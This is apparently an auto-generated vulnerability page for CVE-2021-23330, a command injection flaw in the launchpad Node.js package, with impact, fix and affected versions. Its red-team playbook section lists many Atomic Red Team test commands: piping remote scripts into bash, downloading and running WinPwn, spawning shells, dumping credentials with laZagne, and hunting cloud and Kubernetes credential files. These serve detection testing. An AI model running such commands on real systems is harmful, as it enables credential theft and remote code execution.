CVE-2021-23330
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the launchpad package. The issue arises from the stop command handler failing to sanitize user-supplied input, allowing arbitrary shell commands to be executed. Affected are all versions of the launchpad Node.js package prior to 0.5.0, specifically in the command processing logic tied to the stop functionality.
Vulnerability Description
All versions of package launchpad are vulnerable to Command Injection via stop.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the host system with the privileges of the launchpad process. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data manipulation, or service disruption, posing a critical threat to environments running vulnerable versions of the launchpad package.
Solution
Users should upgrade the launchpad package to version 0.5.0 or later, where the command injection vulnerability has been addressed. The fix was merged in pull request #124 on the official GitHub repository (https://github.com/bitovi/launchpad/pull/124). Detailed patch instructions and advisories are available via the Snyk vulnerability page (https://snyk.io/vuln/SNYK-JS-LAUNCHPAD-1044065). No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (26)
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Bitovi | Launchpad | 0.1.0 |
cpe:2.3:a:bitovi:launchpad:0.1.0:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.2.0 |
cpe:2.3:a:bitovi:launchpad:0.2.0:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.2.1 |
cpe:2.3:a:bitovi:launchpad:0.2.1:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.3.0 |
cpe:2.3:a:bitovi:launchpad:0.3.0:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.0 |
cpe:2.3:a:bitovi:launchpad:0.4.0:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.1 |
cpe:2.3:a:bitovi:launchpad:0.4.1:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.2 |
cpe:2.3:a:bitovi:launchpad:0.4.2:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.3 |
cpe:2.3:a:bitovi:launchpad:0.4.3:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.4 |
cpe:2.3:a:bitovi:launchpad:0.4.4:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.5 |
cpe:2.3:a:bitovi:launchpad:0.4.5:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.6 |
cpe:2.3:a:bitovi:launchpad:0.4.6:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.7 |
cpe:2.3:a:bitovi:launchpad:0.4.7:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.8 |
cpe:2.3:a:bitovi:launchpad:0.4.8:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.4.9 |
cpe:2.3:a:bitovi:launchpad:0.4.9:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.5.0 |
cpe:2.3:a:bitovi:launchpad:0.5.0:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.5.1 |
cpe:2.3:a:bitovi:launchpad:0.5.1:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.5.2 |
cpe:2.3:a:bitovi:launchpad:0.5.2:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.5.3 |
cpe:2.3:a:bitovi:launchpad:0.5.3:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.5.4 |
cpe:2.3:a:bitovi:launchpad:0.5.4:*:*:*:*:node.js:*:*
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Bitovi | Launchpad | 0.6.0 |
cpe:2.3:a:bitovi:launchpad:0.6.0:*:*:*:*:node.js:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
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| CAPEC-88 | OS Command Injection |
47%
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High | High | |
| CAPEC-6 | Argument Injection |
46%
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High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
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Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2021-23330 |
| snyk.io |
GitHub CVE
x_refsource_MISC
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https://snyk.io/vuln/SNYK-JS-LAUNCHPAD-1044065 |
| github.com |
GitHub CVE
x_refsource_MISC
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https://github.com/bitovi/launchpad/issues/123%23issuecomment-732188118 |
| github.com |
GitHub CVE
x_refsource_MISC
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https://github.com/bitovi/launchpad/pull/124 |